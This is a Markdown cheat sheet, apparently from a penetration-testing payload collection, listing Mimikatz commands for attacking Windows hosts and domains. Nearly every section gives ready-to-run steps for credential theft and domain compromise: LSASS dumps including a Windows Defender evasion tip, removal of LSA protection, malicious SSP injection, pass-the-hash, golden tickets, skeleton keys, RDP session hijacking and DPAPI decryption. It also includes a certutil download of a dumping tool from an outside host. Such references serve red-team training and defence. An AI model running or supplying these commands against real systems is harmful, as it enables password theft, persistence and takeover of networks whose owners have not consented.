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250 lines
10 KiB
Markdown
250 lines
10 KiB
Markdown
# Windows - Mimikatz
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## Summary
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* [Mimikatz - Execute commands](#mimikatz---execute-commands)
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* [Mimikatz - Extract passwords](#mimikatz---extract-passwords)
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* [Mimikatz - LSA Protection Workaround](#mimikatz---lsa-protection-workaround)
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* [Mimikatz - Mini Dump](#mimikatz---mini-dump)
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* [Mimikatz - Pass The Hash](#mimikatz---pass-the-hash)
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* [Mimikatz - Golden ticket](#mimikatz---golden-ticket)
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* [Mimikatz - Skeleton key](#mimikatz---skeleton-key)
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* [Mimikatz - RDP session takeover](#mimikatz---rdp-session-takeover)
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* [Mimikatz - Credential Manager & DPAPI](#mimikatz---credential-manager--dpapi)
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* [Mimikatz - Commands list](#mimikatz---commands-list)
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* [Mimikatz - Powershell version](#mimikatz---powershell-version)
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* [References](#references)
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## Mimikatz - Execute commands
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Only one command
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```powershell
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PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
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```
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Mimikatz console (multiple commands)
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```powershell
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PS C:\temp\mimikatz> .\mimikatz
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mimikatz # privilege::debug
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mimikatz # sekurlsa::logonpasswords
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mimikatz # sekurlsa::wdigest
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```
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## Mimikatz - Extract passwords
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> Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled.
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```powershell
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mimikatz_command -f sekurlsa::logonPasswords full
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mimikatz_command -f sekurlsa::wdigest
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# to re-enable wdigest in Windows Server 2012+
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# in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
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# create a DWORD 'UseLogonCredential' with the value 1.
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reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1
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```
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:warning: To take effect, conditions are required :
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- Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2:
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* Adding requires lock
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* Removing requires signout
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- Win10:
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* Adding requires signout
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* Removing requires signout
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- Win2016:
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* Adding requires lock
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* Removing requires reboot
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## Mimikatz - LSA Protection Workaround
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- LSA as a Protected Process
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```powershell
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# Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
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reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
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# Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
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#Now lets import the mimidriver.sys to the system
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mimikatz # !+
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# Now lets remove the protection flags from lsass.exe process
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mimikatz # !processprotect /process:lsass.exe /remove
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# Finally run the logonpasswords function to dump lsass
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mimikatz # privilege::debug
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mimikatz # token::elevate
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mimikatz # sekurlsa::logonpasswords
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```
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- LSA is running as virtualized process (LSAISO) by Credential Guard
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```powershell
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# Check if a process called lsaiso.exe exists on the running processes
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tasklist |findstr lsaiso
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# If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.
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#Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides
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mimikatz # misc::memssp
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# Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
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```
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## Mimikatz - Mini Dump
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Dump the lsass process with `procdump`
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> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.
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```powershell
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# HTTP method - using the default way
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certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:\Users\Public\procdump.exe
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C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp
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# SMB method - using the pid
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net use Z: https://live.sysinternals.com
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tasklist /fi "imagename eq lsass.exe" # Find lsass's pid
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Z:\procdump.exe -accepteula -ma $lsass_pid lsass.dmp
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```
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Dump the lsass process with `rundll32`
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```powershell
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rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full
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```
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Then load it inside Mimikatz.
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```powershell
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mimikatz # sekurlsa::minidump lsass.dmp
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Switch to minidump
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mimikatz # sekurlsa::logonPasswords
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```
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## Mimikatz - Pass The Hash
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```powershell
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mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell
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```
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## Mimikatz - Golden ticket
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```powershell
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.\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
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```
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```powershell
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.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
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```
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## Mimikatz - Skeleton key
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```powershell
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privilege::debug
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misc::skeleton
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# map the share
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net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz
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# login as someone
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rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
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```
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## Mimikatz - RDP session takeover
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Use `ts::multirdp` to patch the RDP service to allow more than two users.
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Run tscon.exe as the SYSTEM user, you can connect to any session without a password.
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```powershell
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privilege::debug
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token::elevate
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ts::remote /id:2
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```
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```powershell
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# get the Session ID you want to hijack
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query user
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create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
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net start sesshijack
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```
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## Mimikatz - Credential Manager & DPAPI
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```powershell
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# check the folder to find credentials
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dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
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# check the file with mimikatz
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$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
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# find master key
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$ mimikatz !sekurlsa::dpapi
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# use master key
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$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
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```
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Task Scheduled credentials
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```powershell
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mimikatz(commandline) # vault::cred /patch
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TargetName : Domain:batch=TaskScheduler:Task:{CF3ABC3E-4B17-ABCD-0003-A1BA192CDD0B} / <NULL>
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UserName : DOMAIN\user
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Comment : <NULL>
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Type : 2 - domain_password
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Persist : 2 - local_machine
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Flags : 00004004
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Credential : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
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Attributes : 0
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```
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## Mimikatz - Commands list
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| Command |Definition|
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|:----------------:|:---------------|
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| CRYPTO::Certificates|list/export certificates|
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|CRYPTO::Certificates | list/export certificates|
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|KERBEROS::Golden | create golden/silver/trust tickets|
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|KERBEROS::List | list all user tickets (TGT and TGS) in user memory. No special privileges required since it only displays the current user’s tickets.Similar to functionality of “klist”.|
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|KERBEROS::PTT | pass the ticket. Typically used to inject a stolen or forged Kerberos ticket (golden/silver/trust).|
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|LSADUMP::DCSync | ask a DC to synchronize an object (get password data for account). No need to run code on DC.|
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|LSADUMP::LSA | Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use to dump all Active Directory domain credentials from a Domain Controller or lsass.dmp dump file. Also used to get specific account credential such as krbtgt with the parameter /name: “/name:krbtgt”|
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|LSADUMP::SAM | get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. This is used to dump all local credentials on a Windows computer.|
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|LSADUMP::Trust | Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly). Dumps trust keys (passwords) for all associated trusts (domain/forest).|
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|MISC::AddSid | Add to SIDHistory to user account. The first value is the target account and the second value is the account/group name(s) (or SID). Moved to SID:modify as of May 6th, 2016.|
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|MISC::MemSSP | Inject a malicious Windows SSP to log locally authenticated credentials.|
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|MISC::Skeleton | Inject Skeleton Key into LSASS process on Domain Controller. This enables all user authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton Keys) as well as their usual password.|
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|PRIVILEGE::Debug | get debug rights (this or Local System rights is required for many Mimikatz commands).|
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|SEKURLSA::Ekeys | list Kerberos encryption keys|
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|SEKURLSA::Kerberos | List Kerberos credentials for all authenticated users (including services and computer account)|
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|SEKURLSA::Krbtgt | get Domain Kerberos service account (KRBTGT)password data|
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|SEKURLSA::LogonPasswords | lists all available provider credentials. This usually shows recently logged on user and computer credentials.|
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|SEKURLSA::Pth | Pass- theHash and Over-Pass-the-Hash|
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|SEKURLSA::Tickets | Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computer’s AD computer account. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).|
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|TOKEN::List | list all tokens of the system|
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|TOKEN::Elevate | impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box|
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|TOKEN::Elevate /domainadmin | impersonate a token with Domain Admin credentials.
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## Mimikatz - Powershell version
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Mimikatz in memory (no binary on disk) with :
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- [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1) from PowerShellEmpire
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- [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) from PowerSploit
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More information can be grabbed from the Memory with :
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- [Invoke-Mimikittenz](https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1)
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## References
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- [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821)
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- [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/)
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- [Reversing Wdigest configuration in Windows Server 2012 R2 and Windows Server 2016 - 5TH DECEMBER 2017 - ACOUCH](https://www.adamcouch.co.uk/reversing-wdigest-configuration-in-windows-server-2012-r2-and-windows-server-2016/)
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